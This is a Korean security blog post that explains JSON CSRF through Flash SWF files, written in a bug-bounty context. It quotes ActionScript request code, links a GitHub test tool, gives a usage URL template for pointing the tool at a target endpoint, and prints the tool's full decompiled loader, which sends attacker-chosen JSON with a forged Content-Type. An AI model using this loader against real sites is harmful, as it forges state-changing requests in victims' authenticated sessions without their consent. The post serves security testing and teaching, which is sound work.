좀 오래된(?) 기법이지만 오늘 페북 버그바운티 포럼쪽에 글 중 JSON CSRF 글 보다보니 예전에 정리해둘까 했던 내용 생각나서 글로 작성합니다. (그와중에 300$받았다고 꺠알 자랑…)
간간히 CSRF 우회 케이스도 글로 쓰고 있는데, XSS Cheatsheet 처럼 모아둬야곘네요.
- JSON CSRF : https://www.hahwul.com/2017/05/web-hacking-parameter-padding-for.html
- PUT/DELETE CSRF : https://www.hahwul.com/2016/07/web-hacking-putdelete-csrfcross-site.html … 등등 더 있겠지, 찾기 귀찮..
JSON CSRF가 잘 안되는 이유?
전에 글에서도 약간 이야기하긴했느데, JSON 요청의 경우 일반 전송 포맷에 비해 약간 까다로움이 발생합니다. 우선 <form> 등의 태그로는 JSON 형태를 구현할 수 없고, Jquey나 XML Reuqest를 쓰자니 SOP에 의해 제어되기 때문에 단순한 웹 전송 코드로는 CSRF가 되질 않습니다.
그래서 보통 Content-Type 가지고 Padding으로 풀어서 코드 구성하여 권고하고 했었습니다.
JSON CSRF with SWF
SWF를 통해서 Content-type이 Application/Javascript(즉 JSON 전송) 요청을 만드는걸 이용해서 JSON 형태의 요청에 대해서도 CSRF를 할 수 있습니다. 다만 타 도메인간 SWF 호출을 위해선 crossdomain.xml 정책에 대해서 패스가 필요하겠지요.
예전에 PUT/DELETE 쪽 CSRF 이야기할땐 그냥 Method를 바꿀 수 있어서 가능하다 였었는데, 생각해보니 Content-Type과 전송 형식을 제어할 수 있기 때문에(JSON 포맷으로 맞춰주면..) 가능해집니다.
request.requestHeaders.push(new URLRequestHeader("Content-Type", ct));
request.data = (this.root.loaderInfo.parameters.reqmethod=="GET")?"":myJson;
request.method = (this.root.loaderInfo.parameters.reqmethod)?this.root.loaderInfo.parameters.reqmethod:URLRequestMethod.POST;
var urlLoader: URLLoader = new URLLoader();
urlLoader.addEventListener(Event.COMPLETE, eventHandler);
이런식으로 그냥 urlLoader로 전송하면 되고, 대신 Content-Type만 제어해주면 됩니다.
Test tool
한번 코드 짜두고 개인 웹 서버에 올려두고 불러와서 사용하는 형태로 구성하고 테스트하면 됩니다. 다만 찾다보니 관련해서 테스트 환경을 좀 쉽게 만들자(?) 라는 느낌의 git repo가 있어 공유드립니다.
https://github.com/sp1d3r/swf_json_csrf 동일하게 단순한 Request 코드를 가지고 JSON 포맷으로 전달만 해줍니다.
http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]
loder
package
{
import flash.display.Sprite;
import flash.events.Event;
import flash.external.ExternalInterface;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
public class source extends Sprite
{
public function source()
{
var _loc3_:* = null;
super();
var _loc6_:String = this.root.loaderInfo.parameters.jsonData;
var _loc4_:String = this.root.loaderInfo.parameters.endpoint;
var _loc1_:String = !!this.root.loaderInfo.parameters.php_url?this.root.loaderInfo.parameters.php_url:"";
var _loc7_:String = _loc1_ != ""?_loc1_:_loc4_;
var _loc2_:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
if(_loc1_ != "")
{
_loc3_ = new URLRequest(_loc7_ + "?endpoint=" + _loc4_);
}
else
{
_loc3_ = new URLRequest(_loc7_);
}
_loc3_.requestHeaders.push(new URLRequestHeader("Content-Type",_loc2_));
_loc3_.data = this.root.loaderInfo.parameters.reqmethod == "GET"?"":_loc6_;
_loc3_.method = !!this.root.loaderInfo.parameters.reqmethod?this.root.loaderInfo.parameters.reqmethod:"POST";
var _loc5_:URLLoader = new URLLoader();
_loc5_.addEventListener("complete",eventHandler);
try
{
_loc5_.load(_loc3_);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
public function eventHandler(param1:Event) : void
{
ExternalInterface.call("process",param1.target.data);
}
}
}